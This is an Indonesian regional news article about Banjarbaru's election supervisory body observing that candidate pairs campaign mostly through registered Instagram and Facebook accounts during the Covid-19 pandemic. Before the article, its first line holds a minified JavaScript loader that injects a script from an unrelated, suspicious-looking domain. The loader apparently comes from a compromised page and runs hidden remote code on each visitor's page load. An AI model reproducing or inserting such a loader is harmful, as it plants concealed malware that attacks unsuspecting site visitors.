(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Di tengah pandemi, Badan Pengawasan Pemilu (Bawaslu) Banjarbaru menilai metode kampanye tatap muka masih minim dipergunakan masing-masing paslon.
“Untuk minggu pertama masa kampanye khususnya di September ini, paslon belum ada yang melakukan kampanye tatap muka pertemuan terbatas.
Sementara masih banyak melalui media sosial (medsos),” kata Ketua Bawaslu Banjarbaru Dahtiar, Jumat (2/10/2020).
Memang sampai saat ini Bawaslu Banjarbaru belum memiliki data valid ihwal jumlah kegiatan kampanye yang sudah dilakukan ketiga paslon selama sepekan. Lantaran, Bawaslu sendiri masih menunggu laporan identifikasi oleh pihak Panitia Pengawas Kecamatan (Panwascam).
Kendati demikian, menurut Dahtiar dari hasil monitoring sejak dimulai masa kampanye 26 September lalu, kampanye tanpa tatap muka menjadi pilihan metode yang dilakukan paslon untuk sementara ini.
“Mungkin karena masih awal-awal masa kampanye. Kita lihat dulu di minggu pertama sampai minggu kedua Oktober ini trendnya seperti apa. Tapi sejauh ini semua masih memaksimalkan medsos,” ujarnya.
Tentu tak mengherankan jika metode kampanye melalui medsos menjadi andalan paslon di Pilkada tahun ini. Toh banyak yang menilai kampanye tatap muka lewat pertemuan, tak lagi efektif, karena jumlah massanya dibatasi, yang mana hal itu berdasarkan aturan baru yang ditetapkan KPU menyisiati gelaran pesta demokrasi di tengah pandemi Covid-19.
Adapun pengawasan seluruh akun medsos itu menjadi ranah Bawaslu Banjarbaru. Dalam hal ini, pengawasan tak hanya soal akun resmi atau tidak, melainkan isi konten yang diposting oleh akun resmi milik tiap-tiap paslon.
“Kami dari Bawaslu Banjarbaru bertugas mengawasi akun-akun itu. Kita memastikan bahwa akun tersebut adalah akun resmi, konten tidak mengandung Sara, hoaks dan juga kampanye hitam,” pungkas Dahtiar.
Dari data KPU Banjarbaru, sedikitnya ada total 20 akun medsos resmi yang telah didaftarkan ketiga paslon untuk jualan kampanye hingga 5 Desember nanti. Puluhan akun medsos tersebut digunakan pada dua aplikasi ternama, yakni Instagram dan Facebook.
Rinciannya, paslon nomor urut 1 Gusti Iskandar Sukma Alamsyah-AR Iwansyah punya 6 akun medsos resmi.
Kemudian, Paslon nomor urut 2 Aditya Mufti Ariffin-Wartono mendaftarkan 7 akun medsos mereka. Lalu paslon nomor urut 3, Haji Martinus-Darmawan Jaya Setiawan mendaftarkan sebanyak 7 akun medsos.
“Semua akun medsos yang terdaftar di kita. Kalau lebih dari itu, berarti bukan akun resmi dan bisa saja dikenakan sanksi,” kata Anggota KPU Banjarbaru, Rizal. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.